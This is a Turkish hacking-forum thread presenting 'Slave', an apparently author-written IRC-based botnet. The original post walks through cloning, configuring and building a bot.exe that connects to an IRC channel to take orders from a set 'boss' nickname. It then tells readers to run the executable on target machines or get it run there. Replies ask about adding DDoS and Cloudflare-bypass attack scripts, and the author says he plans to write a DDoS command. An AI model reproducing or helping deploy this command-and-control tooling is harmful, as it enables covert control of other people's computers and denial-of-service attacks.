İPUCU

Python Artificial Intelligence’da en çok kullanılan dildir ve gerekli dökümanların paylaşım alanlar burada paylaşılmaktadır.

Seçenekler

Slave - IRC based customizable botnet - AR-GE

BufGix - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
08/2015
Nereden:
Phobos/Space
Mesajlar:
1.023
Konular:
74
Teşekkür (Etti):
314
Teşekkür (Aldı):
444
Ticaret:
(0) %
15-06-2019 20:59
#1
IRC nedir ?

Alıntı:
Wikipedia´isimli üyeden Alıntı
IRC, asıl olarak bir sunucu ve istemciler ağıdır. ÖrnekNET isminde bir IRC sunucusuna bağlanan kişiler, her türlü iletişimi bu ÖrnekNET ağı üzerinden gerçekleştirirler. Kişi1, Kişi2'ye mesaj yolladığında:

Kişi1'in mesajı → ÖrnekNET sunucusu → Kişi2
şeklinde bir yol izler. Günümüzde kullanılan MSN Messenger veya Yahoo Messenger gibi üstün özelliklere sahip programlar gibi görüntülü ve/veya sesli sohbet yerine, yukarıda açıklandığı gibi, düz-metin tabanlı bir iletişim söz konusudur, IRC'de. İletişimi sağlarken arada sunucunun bulunması, eğer Kişi1 Kişi2'yi rahatsız ediyorsa, Kişi2'nin dileğine göre Kişi1'in mesajlarının daha Kişi2'ye ulaşmadan engellenebilmesini sağlar.
Slave nedir?
IRC serverlar üzerinden, tek bir kişi kontrolünde, bağlanan diğer BOT lara komut verilmesini sağlayan programdır.


Nasıl Kullanacağım?
Git reposundan kaynak kodu indirin.
Kod:
$ git clone https://github.com/bufgix/slave
Dizine gidin
Kod:
$ cd slave
Slave, executable dosya oluşturmak için bir virtual environment'e ihtiyaç duyar. Hem bu ihtiyaçtan hem de bağımlılıkları yüklemek için pipenv kurmanız iyi olur.

Pipenv kurulumu
Slave'in bulunduğu dizine;
Kod:
$ pip install pipenv

ardından
Kod:
$ pipenv install

ve gerekli bağımlıkların yüklenmesini bekeyin.

Ardından virtual env'e geçin
Kod:
$ pipenv shell

Eğer herşey doğrusa komut satırınızın solunda projenin ismi olacak

Konfigürasyon
Slave'in olduğu dizinde bot.py adlı dosyada gerekli işlemler yapılacak.

bot.py
Kod:
from slave.lib.bots import BotBasic

config = {
    'host': 'chat.freenode.net',
    'port': 6667,
    'channel': "#slavebotpool666",
    'boss_name': 'boss666',
    'bot_prefix': "SLAVEBOT"
}
BotBasic.read_config_from_dict(config)

## Write custom commands here


BotBasic.start()

Önce Slave'nin sağladığı BotBasic sınıfını içe aktarıyoruz. Ardından config değişkenini kendizine göre ayarlayın.
Kod:
host: IRC serverin domain ismi. Bütün botlar bu servere bağlanacak
port: Serverin port numrası (eğer bu iki değişkenin ne olduğunu bilmiyorsanız öyle bırakın)
channel: Serverda bağlanılacak kanal ismi. Bunu botlarınızın bağlanacağı havuz gibi düşünebilirsiniz
boss_name: Botların emir alması gereken kullanıcının(ki bu siz oluyorsunuz) kullanıcı adı
bot_prefix: Bot ön eki
Bu noktadan sonra eğer kendiniz özel komut oluşturmayacaksanız botunuzu kullanıma hazır hale getirebilirsiniz.

Kod:
(slave-fmu8yPAz) $ python -m slave bot.py



Slave'in içinde dist/ klasörünün altında bot.exe, sizin botunuzdur.

Şimdi siz kullanıcı olarak daha önceden belirlediğiniz IRC serverina bağlanın. Irssi gibi bir program kullanabileceğiniz gibi web tarayıcınızdan da girebilirsiniz.

Ben kiwiirc.com kullanıyorum.

Add network diyerek daha önce belirlediğiniz server,portu ve nicki gerekli yerlere yazın. (nickname configde belirlediğiniz boss_name dir)


Ardından configde belirlediğiniz kanala girin


Her şey hazır. Şimdi elinizde olan bot.exe yi kullanacağınız makinede çalıştırın (veya çalıştırılmasını sağlayın). Bağlantının gelmesini bekleyin vee...


BotBasic sınıfında bulunan komutlar:

Bilgi alma


Mesaj gösterme


Sondaki bulunan değer(bu örnekte 0) milisaniye cinsinden mesajın ne kadar zaman gösterileceğini belirtir. Eğer 0 sa pencere kapatılana kadar ekranda kalır.

web sayfası açma


yardım alma
Kod:
$help <komut>

Botu kapatma
Kod:
$quit <bot_id>


Nasıl kendi komutlarınızı eklersiniz

Bir bota komut eklemek için @register bezeyicisi kullanılır
komutları bot.py içinde .start() komutundan hemen önce yazabilirsiniz.

Örnek olarak aldığı parametreyi büyük harf yapıp servere gönderen bir komut yazalım

bot.py
Kod:
from slave.lib.bots import BotBasic

config = {
    'host': 'chat.freenode.net',
    'port': 6667,
    'channel': "#slavebotpool666",
    'boss_name': 'boss666',
    'bot_prefix': "SLAVEBOT"
}
BotBasic.read_config_from_dict(config)

## Write custom commands here
@BotBasic.register('upper')
def upper_command(bot, args):
    pass

BotBasic.start()
Görüldüğü gibi BotBasic tarafından yazdığınız fonksyona iki parametre gönderilecek. 1. parametre Botun referansıdır. Bunu kullanarak server'a mesaj gösterebilirsiniz.
Kod:
@BotBasic.register('upper')
def upper_command(bot, args):
    bot.send_text("upper komutu çalıştı")
2. parametre ise arguman listesidir


Kod:
@BotBasic.register('upper')
def upper_command(bot, args):
    bot.send_text("upper komutu çalıştı")
    bot.send_text(f"{args[1].upper()}")
şimdi botumuzu çalıştırdığımızda...
Not: Eğer deneme amaçlı botunuzun nasıl çalıştığını merak ediyorsanız direkt olarak bot.py yi çalıştırın
Kod:
$ python bot.py



Bingo.

Github: https://github.com/bufgix/slave
---------------------
~Cahile gelmez benden hayır
Konu PALA tarafından (18-06-2019 17:35 Saat 17:35 ) değiştirilmiştir.
wтғ'rιтalιn - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
03/2016
Mesajlar:
1.002
Konular:
91
Teşekkür (Etti):
101
Teşekkür (Aldı):
530
Ticaret:
(0) %
16-06-2019 11:24
#2
Merhaba Hocam Bir kaç Sorum olacak -

IRC Botlar tek bir ip'e mi sabit -

IRC Botlara GET/POST Harici standart saldırı şekli haricinde özel yazılmış saldırı scriptleri entegre edebilir miyiz .

IRC Botlar Saldırılarda hangi katmanları kullanmakta .
@BufGix
---------------------
✎ ... тυякнαcктεαм.σяg/ηεт​
Dєvlєt-í αlíччє
Konu wтғ'rιтalιn tarafından (16-06-2019 11:34 Saat 11:34 ) değiştirilmiştir.
BufGix - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
08/2015
Nereden:
Phobos/Space
Mesajlar:
1.023
Konular:
74
Teşekkür (Etti):
314
Teşekkür (Aldı):
444
Ticaret:
(0) %
16-06-2019 11:35
#3
Alıntı:
xMit´isimli üyeden Alıntı Mesajı göster
Merhaba Hocam Bir kaç Sorum olacak -

IRC Botlar tek bir ip'e mi sabit -

IRC Botlara GET/POST Harici standart saldırı şekli haricinde özel yazılmış saldırı scriptleri entegre edebilir miyiz .

IRC Botlar Saldırılarda hangi katmanları kullanmakta .
Hayir IP ler botlarin kendi IP leri. Emir aldigi kullanicin IPsinden bagimsiz. Sadece daha onceden belirlenmis bir nickname tarafinda emir aliyorlar. Kisaca mantigi soyle

Botun emir aldigi kullaniciadi boss666 olsun

Gelen mesaj -> kontrol et boss666 mi atmis? -> Mesaji parse et -> komut eger komut setinde varsa ilgili fonksyonu calistir

Ozel yazdigin script derken evet kendi komutlarinizi bota yukleyebilirsiniz konuda anlattim.

Hangi katman sorsunu anlayamdim IRC bir uygulama katmanidir onun uzerinden calisiyor eger bunu soruyorsan.
---------------------
~Cahile gelmez benden hayır
wтғ'rιтalιn - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
03/2016
Mesajlar:
1.002
Konular:
91
Teşekkür (Etti):
101
Teşekkür (Aldı):
530
Ticaret:
(0) %
16-06-2019 11:40
#4
Her botun kendi ip'si var doğru mu anlıyorum hocam -

Hangi Katman sorusunu biraz daha açayım - Botlara Link bazlı ve İp bazlı attacklar yaptırabiliyor muyuz .


Ve özel scriptten kastım misal benim elimde Cloudflare'yi botlarıma atlattığım bir scriptim var bu scripti IRC Botlarada tanımlayabilir miyiz .
---------------------
✎ ... тυякнαcктεαм.σяg/ηεт​
Dєvlєt-í αlíччє
Betrahal - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
01/2019
Mesajlar:
21
Konular:
1
Teşekkür (Etti):
17
Teşekkür (Aldı):
1
Ticaret:
(0) %
16-06-2019 12:13
#5
Konu ilginc gozukuyor yanliz anlamadigim bir sey var irc, chat icin kullanilan bir server ve bu botlar saldiri yapabilecek durumdalar mi yoksa sadece irc bot olarak mi kullaniliyor?
BufGix - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
08/2015
Nereden:
Phobos/Space
Mesajlar:
1.023
Konular:
74
Teşekkür (Etti):
314
Teşekkür (Aldı):
444
Ticaret:
(0) %
16-06-2019 12:21
#6
Alıntı:
Betrahal´isimli üyeden Alıntı Mesajı göster
Konu ilginc gozukuyor yanliz anlamadigim bir sey var irc, chat icin kullanilan bir server ve bu botlar saldiri yapabilecek durumdalar mi yoksa sadece irc bot olarak mi kullaniliyor?
Projeyi yazarken bir DOS scripti bulup bota entegre ederim diyordum. Ama adam akilli calisan bir script bulamadim. Suan ddos olarak herhangi bir komut yok. Kendim yazmayi dusunuyorum ileriki zamanlarda. Suanlik var olan botlari kontrol etme uzerine sadece
---------------------
~Cahile gelmez benden hayır

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı